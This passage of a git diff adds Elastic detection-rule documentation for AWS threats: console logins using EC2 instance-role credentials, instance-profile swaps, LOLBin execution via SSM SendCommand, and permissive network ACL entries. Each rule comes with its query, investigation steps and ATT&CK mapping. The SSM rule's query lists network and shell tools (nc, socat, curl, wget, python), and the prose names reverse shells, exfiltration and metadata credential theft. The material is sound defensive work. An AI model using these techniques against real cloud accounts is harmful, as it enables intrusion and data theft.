`AttachRolePolicy`, or `ListBuckets`). + +- **Assess IAM role exposure** + - Determine which IAM role was associated with the instance at the time of the event and review its attached permissions. + - Evaluate whether the role grants console access or permissions beyond what that workload normally requires. + - Check for any recent changes to that role’s trust policy or attached policies. + +- **Validate authorization** + - Contact the EC2 instance owner or service team to confirm if any legitimate process should be logging in to the console. + - If no legitimate activity can explain the login, treat the credentials as compromised. + + +*False positive analysis* + + +This is very uncommon behavior. +Known legitimate causes include: +- AWS or internal security automation that programmatically initiates console sessions for validation or testing. +- Forensic or incident-response automation that logs in using temporary credentials from a compromised instance. +- Red-team or penetration-testing activity designed to validate IMDS exposure or lateral movement scenarios. + +For any other occurrence, treat the alert as potentially malicious. +Validate through: +- The originating instance’s purpose and owner. +- Known automation patterns in `user_agent.original`. +- The timestamp alignment with planned testing or security validation. + + +*Response and remediation* + + +- **Immediate containment** + - Revoke the temporary credentials for the affected role (`aws sts revoke-session-token` or rotate the role credentials). + - Isolate the associated EC2 instance (e.g., detach it from the VPC or security groups) to prevent further credential misuse. + - Invalidate active console sessions via AWS CLI or the AWS Console. + +- **Investigation and scoping** + - Review CloudTrail logs for all actions associated with the compromised role in the preceding 24 hours. + - Determine if additional roles or instances show similar `ConsoleLogin` patterns. + - Search for network indicators of IMDS exploitation (e.g., requests to `169.254.169.254` from unauthorized binaries or users). + +- **Recovery and hardening** + - Rotate all credentials for affected roles and users. + - Apply IMDSv2 enforcement to prevent credential harvesting from EC2 metadata. + - Implement restrictive IAM policies: deny console access (`iam:PassRole`, `sts:GetFederationToken`) for non-human roles. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +info where data_stream.dataset == "aws.cloudtrail" + and event.provider == "signin.amazonaws.com" + and event.action in ("ConsoleLogin", "GetSigninToken") + and event.outcome == "success" + and aws.cloudtrail.user_identity.type == "AssumedRole" + and stringContains (user.id, ":i-") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: Cloud Services +** ID: T1021.007 +** Reference URL: https://attack.mitre.org/techniques/T1021/007/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-profile-associated-with-running-instance.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-profile-associated-with-running-instance.asciidoc new file mode 100644 index 0000000000..d9089e080c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-instance-profile-associated-with-running-instance.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-aws-ec2-instance-profile-associated-with-running-instance]] +=== AWS EC2 Instance Profile Associated with Running Instance + +Identifies when an IAM instance profile is associated with a running EC2 instance or replaces the existing association. These APIs change which role credentials the instance obtains via the instance metadata service without terminating the instance. Attackers who can call `AssociateIamInstanceProfile` or `ReplaceIamInstanceProfile` may attach a more privileged role to a workload they control, enabling privilege escalation or lateral movement from the instance. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_AssociateIamInstanceProfile.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceIamInstanceProfile.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Instance Profile Associated with Running Instance* + + +`AssociateIamInstanceProfile` adds an instance profile to a running instance (where none was set at launch). +`ReplaceIamInstanceProfile` swaps the association. Both require `ec2:AssociateIamInstanceProfile` / +`ec2:ReplaceIamInstanceProfile` and typically `iam:PassRole` on the target instance profile’s role. + + +*Possible investigation steps* + + +- Parse `aws.cloudtrail.request_parameters` for `instanceId` and instance profile name or ARN. +- Identify the IAM role behind the profile and compare its policies to the prior role (if any). +- Map the instance to owner, application, and sensitivity; check for recent compromise indicators (SSRF to IMDS, + unusual `AssumeRole` from the instance role). +- Review `aws.cloudtrail.user_identity.arn`, `source.ip`, and `user_agent.original`. + + +*False positive analysis* + + +- Legitimate fixes for missing or wrong profiles at launch; verify with service owners. + + +*Response and remediation* + + +- If unauthorized: disassociate or replace with the correct profile, revoke `PassRole`/`ec2` permissions from the + actor, and rotate credentials that may have been issued from the over-privileged role. + + +*Additional information* + + +- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_AssociateIamInstanceProfile.html[AssociateIamInstanceProfile] +- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceIamInstanceProfile.html[ReplaceIamInstanceProfile] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: ("AssociateIamInstanceProfile" or "ReplaceIamInstanceProfile") + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AWSService" + and not aws.cloudtrail.user_identity.invoked_by: "ssm.amazonaws.com" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc new file mode 100644 index 0000000000..e63c697103 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-lolbin-execution-via-ssm-sendcommand.asciidoc @@ -0,0 +1,272 @@ +[[prebuilt-rule-8-19-34-aws-ec2-lolbin-execution-via-ssm-sendcommand]] +=== AWS EC2 LOLBin Execution via SSM SendCommand + +Identifies the execution of Living Off the Land Binaries (LOLBins) or GTFOBins on EC2 instances via AWS Systems Manager (SSM) `SendCommand` API. This detection correlates AWS CloudTrail `SendCommand` events with endpoint process execution by matching SSM command IDs. While AWS redacts command parameters in CloudTrail logs, this correlation technique reveals the actual commands executed on EC2 instances. Adversaries may abuse SSM to execute malicious commands remotely without requiring SSH or RDP access, using legitimate system utilities for data exfiltration, establishing reverse shells, or lateral movement. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mitiga.io/blog/abusing-the-amazon-web-services-ssm-agent-as-a-remote-access-trojan +* https://www.kali.org/tools/pacu/ +* https://www.100daysofredteam.com/p/ghost-in-the-cloud-abusing-aws-ssm +* https://hackingthe.cloud/aws/post_exploitation/run_shell_commands_on_ec2/ +* https://gtfobins.github.io/ + +*Tags*: + +* Domain: Cloud +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS EC2 +* Data Source: AWS SSM +* Data Source: AWS Systems Manager +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Living off the Land +* Threat: Cloud VM Execution +* Rule Type: ES|QL +* Platform: Linux +* Platform: AWS +* Service: AWS EC2 +* Service: AWS SSM + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 LOLBin Execution via SSM SendCommand* + + +AWS Systems Manager (SSM) enables remote command execution on EC2 instances without SSH/RDP access. While legitimate for administration, adversaries exploit this by running LOLBins—system utilities abused for malicious purposes like data theft or backdoors. This detection correlates CloudTrail API logs with endpoint telemetry using SSM command IDs, bypassing AWS's parameter redaction to reveal actual executed commands and identify suspicious activity. + +This is an ESQL aggregation-based rule, thus all original event fields and detail may not be present in the alert. It is recommended to pivot into the raw events from both data sources for full context during investigation. + + +*Possible investigation steps* + + +- Review the SSM command ID in the alert to track the full lifecycle of the command from initiation to execution across both CloudTrail and endpoint data +- Examine the CloudTrail user identity, including the ARN and access key ID, to determine who initiated the SSM command and verify if the activity is authorized +- Analyze the command lines of the executed LOLBins to understand what commands were run and assess their intent, looking for indicators of data exfiltration, reverse shells, or reconnaissance +- Check the source IP address and user agent from the CloudTrail event to identify if the request came from an expected location or tool +- Investigate the affected EC2 instances for other suspicious activities or signs of compromise during the same timeframe, including network connections and file modifications +- Review the SSM shell process details to see the full context of what the SSM agent executed and identify the parent-child process relationships +- Correlate the timing between the CloudTrail event and endpoint execution to ensure they occurred within the detection window and represent the same activity +- Check if the same user identity or source IP has executed similar SSM commands on other EC2 instances in your environment + + +*False positive analysis* + + +- Routine administrative scripts that use utilities like curl, wget, or python for legitimate configuration management should be documented and excluded by user identity or source IP +- Automated monitoring tools that execute commands via SSM for health checks or data collection can be filtered by identifying their consistent patterns and access key IDs +- DevOps CI/CD pipelines that deploy or test applications using SSM may trigger alerts; create exceptions based on known automation roles or specific command patterns +- Security scanning tools that legitimately use SSM for vulnerability assessments should be allowlisted by their known IAM roles or source IPs +- Scheduled maintenance tasks using LOLBins for backup, log rotation, or data synchronization can be excluded by command pattern matching or execution timing + + +*Response and remediation* + + +- Immediately isolate the affected EC2 instance from the network to prevent further unauthorized command execution or lateral movement +- Review AWS CloudTrail logs to identify the IAM user, role, or access key associated with the suspicious SSM command and revoke or rotate compromised credentials +- Terminate any unauthorized processes identified on the endpoint that match the LOLBin execution patterns detected in the alert +- Conduct a forensic analysis of the affected EC2 instance to identify any persistence mechanisms, backdoors, or data exfiltration indicators +- Implement stricter IAM policies to limit SSM `SendCommand` permissions to only trusted users and roles, following the principle of least privilege +- Enable multi-factor authentication (MFA) for IAM users with SSM execution privileges to reduce the risk of credential compromise +- Review and update VPC security groups and network ACLs to restrict outbound traffic from EC2 instances to only necessary destinations, preventing data exfiltration +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional AWS resources or accounts have been compromised + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail*, logs-endpoint.events.process-* METADATA _id, _version, _index +| WHERE + // CloudTrail SSM SendCommand with AWS-RunShellScript + ( + data_stream.dataset == "aws.cloudtrail" + AND event.action == "SendCommand" + AND aws.cloudtrail.request_parameters LIKE "*documentName=AWS-RunShellScript*" + ) + // Linux endpoint process events, prefiltered to SSM shell runner OR LOLBins/GTFOBins + OR + ( + data_stream.dataset == "endpoint.events.process" + AND host.os.type == "linux" + AND ( + // SSM shell (_script.sh) runner + process.command_line LIKE "%/document/orchestration/%/awsrunShellScript/%/_script.sh" + // LOLBins / GTFOBins + OR process.name IN ( + "base64", + "curl", + "wget", + "openssl", + "nc", "ncat", "netcat", + "socat", + "python", "python3", + "perl", + "php", + "ruby", + "ssh", + "scp", + "sftp", + "rsync" + ) + ) + ) + +// Endpoint leg: extract SSM command ID from parent command line +| DISSECT process.parent.command_line + "%{}/document/orchestration/%{Esql.process_parent_command_line_ssm_command_id}/%{}" + +// CloudTrail leg: extract SSM command ID from response_elements +| DISSECT aws.cloudtrail.response_elements + "%{}commandId=%{Esql.aws_cloudtrail_response_elements_ssm_command_id},%{}" + +// Coalesce SSM command ID from both data sources +| EVAL Esql.aws_ssm_command_id = COALESCE( + Esql.aws_cloudtrail_response_elements_ssm_command_id, + Esql.process_parent_command_line_ssm_command_id +) +| WHERE Esql.aws_ssm_command_id IS NOT NULL + +// Role flags +| EVAL Esql.is_cloud_event = data_stream.dataset == "aws.cloudtrail" +| EVAL Esql.is_endpoint_event = data_stream.dataset == "endpoint.events.process" + +// Identify the SSM shell processes (the _script.sh runners) +| EVAL Esql.is_ssm_shell_process = + Esql.is_endpoint_event + AND process.command_line LIKE "%/document/orchestration/%/awsrunShellScript/%/_script.sh" + +// LOLBins / GTFOBins on Linux +| EVAL Esql.is_lolbin_process = + Esql.is_endpoint_event AND NOT Esql.is_ssm_shell_process + +// Aggregate per SSM command ID +| STATS + // Core correlation counts & timing + Esql.aws_cloudtrail_event_count = SUM(CASE(Esql.is_cloud_event, 1, 0)), + Esql.endpoint_events_process_lolbin_count = SUM(CASE(Esql.is_lolbin_process, 1, 0)), + Esql.endpoint_events_process_ssm_shell_count = SUM(CASE(Esql.is_ssm_shell_process, 1, 0)), + Esql.aws_cloudtrail_first_event_ts = MIN(CASE(Esql.is_cloud_event, @timestamp, null)), + Esql.endpoint_events_process_first_lolbin_ts = MIN(CASE(Esql.is_lolbin_process, @timestamp, null)), + + // AWS / CloudTrail identity & request context + Esql_priv.aws_cloudtrail_user_identity_arn_values = + VALUES(CASE(Esql.is_cloud_event, aws.cloudtrail.user_identity.arn, null)), + Esql_priv.aws_cloudtrail_user_identity_access_key_id_values = + VALUES(CASE(Esql.is_cloud_event, aws.cloudtrail.user_identity.access_key_id, null)), + Esql_priv.user_name_values = + VALUES(CASE(Esql.is_cloud_event, user.name, null)), + + // AWS environment / request metadata + Esql.cloud_region_values = VALUES(CASE(Esql.is_cloud_event, cloud.region, null)), + Esql.source_ip_values = VALUES(CASE(Esql.is_cloud_event, source.ip, null)), + Esql.user_agent_original_values = + VALUES(CASE(Esql.is_cloud_event, user_agent.original, null)), + + // Endpoint host & user context + Esql.host_name_values = VALUES(CASE(Esql.is_endpoint_event, host.name, null)), + Esql_priv.endpoint_user_name_values = + VALUES(CASE(Esql.is_endpoint_event, user.name, null)), + + // SSM shell processes on endpoint + Esql.process_command_line_ssm_shell_values = + VALUES(CASE(Esql.is_ssm_shell_process, process.command_line, null)), + Esql.process_pid_ssm_shell_values = + VALUES(CASE(Esql.is_ssm_shell_process, process.pid, null)), + + // LOLBin processes on endpoint + Esql.process_name_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.name, null)), + Esql.process_executable_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.executable, null)), + Esql.process_command_line_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.command_line, null)), + Esql.process_pid_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.pid, null)), + Esql.process_parent_command_line_lolbin_values = + VALUES(CASE(Esql.is_lolbin_process, process.parent.command_line, null)), + + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + BY Esql.aws_ssm_command_id + +// Detection condition: SSM SendCommand + AWS-RunShellScript + LOLBin on endpoint +| WHERE Esql.aws_cloudtrail_event_count > 0 + AND Esql.endpoint_events_process_lolbin_count > 0 + AND DATE_DIFF( + "minutes", + Esql.endpoint_events_process_first_lolbin_ts, + Esql.aws_cloudtrail_first_event_ts + ) <= 5 +| SORT Esql.aws_cloudtrail_first_event_ts ASC +| KEEP Esql.*, Esql_priv.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-nacl-entry-created-or-replaced-allowing-all-traffic-by-new-identity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-nacl-entry-created-or-replaced-allowing-all-traffic-by-new-identity.asciidoc new file mode 100644 index 0000000000..4393f453cc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-nacl-entry-created-or-replaced-allowing-all-traffic-by-new-identity.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-34-aws-ec2-nacl-entry-created-or-replaced-allowing-all-traffic-by-new-identity]] +=== AWS EC2 NACL Entry Created or Replaced Allowing All Traffic by New Identity + +Detects a principal account creating or replacing - or attempts to create or replace - an AWS Network Access Control List (NACL) entry using protocol -1 (all traffic). Both successful and failed outcomes are included. A NACL entry with protocol -1 passes all traffic regardless of port, which would disable network-layer controls for the affected subnets. Monitoring for new identities performing this change helps surface freshly compromised credentials or unauthorized principals removing a defense-in-depth layer to facilitate lateral movement or data exfiltration. This signal only flags if this behavior was not observed historically in a specific time window. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAclEntry.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ReplaceNetworkAclEntry.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 NACL Entry Created or Replaced Allowing All Traffic by New Identity* + + +This rule fires when a NACL entry specifying all ports (0–65535) and all protocols is created or replaced. While NACLs are stateless and secondary to security groups, a permissive NACL entry can neutralize a defense-in-depth layer and may indicate an adversary attempting to ensure unrestricted connectivity for their tools or exfiltration channels. + + +*Possible investigation steps* + + +- Identify the creating principal (`aws.cloudtrail.user_identity.arn`) and determine whether they are authorized to modify network ACLs. +- Review `aws.cloudtrail.request_parameters` to identify the NACL ID, rule number, egress/ingress direction, and CIDR block (`0.0.0.0/0` for any-source rules are highest severity). +- Determine which subnets are associated with the modified NACL and assess the sensitivity of workloads in those subnets. +- Check for accompanying security group modifications that also expand access. +- Review VPC flow logs for unusual traffic to or from the affected subnets following the NACL change. +- Review `event.outcome` — `success` means the permissive entry was applied and the subnet's network-layer controls are weakened now; `failure` means the change was blocked, which from a new identity often indicates credential probing or permission reconnaissance. + + +*False positive analysis* + + +- Architectures that use NACLs as a stateless passthrough while relying on security groups for granular control may legitimately create permissive NACL entries. +- Development environments sometimes use open NACLs for convenience. + + +*Response and remediation* + + +- If unauthorized, immediately delete the permissive NACL entry and replace it with an appropriately restrictive rule. +- Review VPC flow logs for evidence of network activity that exploited the open rule. + + +==== Setup + + +The AWS CloudTrail integration must be enabled and configured to collect EC2 management events. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "ec2.amazonaws.com" + and event.action: ("CreateNetworkAclEntry" or "ReplaceNetworkAclEntry") + and not aws.cloudtrail.user_identity.type: "AWSService" + and event.outcome: ("success" or "failure") + and aws.cloudtrail.flattened.request_parameters.aclProtocol: "-1" + and aws.cloudtrail.flattened.request_parameters.ruleAction: "allow" + and not user_agent.original: (*Terraform* or *terraform* or "cloudformation.amazonaws.com" or *pulumi* or *Pulumi*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-creation.asciidoc new file mode 100644 index 0000000000..2e78171505 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-creation.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-creation]] +=== AWS EC2 Network Access Control List Creation + +Identifies the creation of an AWS EC2 network access control list (ACL) or an entry in a network ACL with a specified rule number. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/create-network-acl.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAcl.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/create-network-acl-entry.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateNetworkAclEntry.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS EC2 +* Tactic: Defense Evasion +* Tactic: Persistence +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 Network Access Control List Creation* + + +AWS EC2 Network ACLs are stateless firewalls for controlling inbound and outbound traffic at the subnet level. Adversaries may exploit ACLs to establish persistence or exfiltrate data by creating permissive rules. The detection rule monitors successful creation events of ACLs or entries, flagging potential unauthorized modifications that align with persistence tactics, aiding in early threat identification. + + +*Possible investigation steps* + + +- Review the CloudTrail logs for the specific event.dataset:aws.cloudtrail entries to identify the user or role (event.user) that initiated the CreateNetworkAcl or CreateNetworkAclEntry actions. +- Examine the event.provider:ec2.amazonaws.com logs to determine the IP addresses and locations associated with the request to assess if they are expected or suspicious. +- Check the event.action details to understand the specific rules created in the Network ACL, focusing on any overly permissive rules that could indicate a security risk. +- Investigate the event.outcome:success entries to confirm the successful creation of the ACL or ACL entry and correlate with any other suspicious activities in the AWS environment. +- Cross-reference the event with other security alerts or logs to identify any patterns or anomalies that could suggest malicious intent or unauthorized access. +- Assess the impact of the new ACL rules on the network security posture, ensuring they do not inadvertently allow unauthorized access or data exfiltration. + + +*False positive analysis* + + +- Routine infrastructure updates or deployments may trigger the creation of new network ACLs or entries. To manage this, establish a baseline of expected changes during scheduled maintenance windows and exclude these from alerts. +- Automated scripts or infrastructure-as-code tools like Terraform or CloudFormation can create network ACLs as part of normal operations. Identify and whitelist these automated processes to prevent unnecessary alerts. +- Changes made by trusted administrators or security teams for legitimate purposes can be mistaken for suspicious activity. Implement a process to log and review approved changes, allowing you to exclude these from detection. +- Temporary ACLs created for troubleshooting or testing purposes can generate alerts. Document and track these activities, and use tags or naming conventions to easily identify and exclude them from monitoring. +- Third-party services or integrations that require specific network configurations might create ACLs. Review and validate these services, and if deemed safe, add them to an exception list to reduce false positives. + + +*Response and remediation* + + +- Immediately review the AWS CloudTrail logs to confirm the creation of the Network ACL or entry and identify the IAM user or role responsible for the action. This helps determine if the action was authorized or potentially malicious. +- Revoke any suspicious or unauthorized IAM credentials associated with the creation of the Network ACL or entry to prevent further unauthorized access. +- Modify or delete the newly created Network ACL or entry if it is determined to be unauthorized or overly permissive, ensuring that it aligns with your organization's security policies. +- Conduct a security review of the affected AWS environment to identify any other unauthorized changes or indicators of compromise, focusing on persistence mechanisms. +- Implement additional monitoring and alerting for changes to Network ACLs and other critical AWS resources to enhance detection of similar threats in the future. +- Escalate the incident to the security operations team or incident response team for further investigation and to determine if additional containment or remediation actions are necessary. +- Review and update IAM policies and permissions to ensure the principle of least privilege is enforced, reducing the risk of unauthorized changes to network configurations. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:(CreateNetworkAcl or CreateNetworkAclEntry) and event.outcome:success + and not user_agent.original: (*Terraform* or *Pulumi* or *Ansible*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Cloud Firewall +** ID: T1562.007 +** Reference URL: https://attack.mitre.org/techniques/T1562/007/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-deletion.asciidoc new file mode 100644 index 0000000000..6234d88e35 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-ec2-network-access-control-list-deletion.asciidoc @@ -0,0 +1,127 @@ 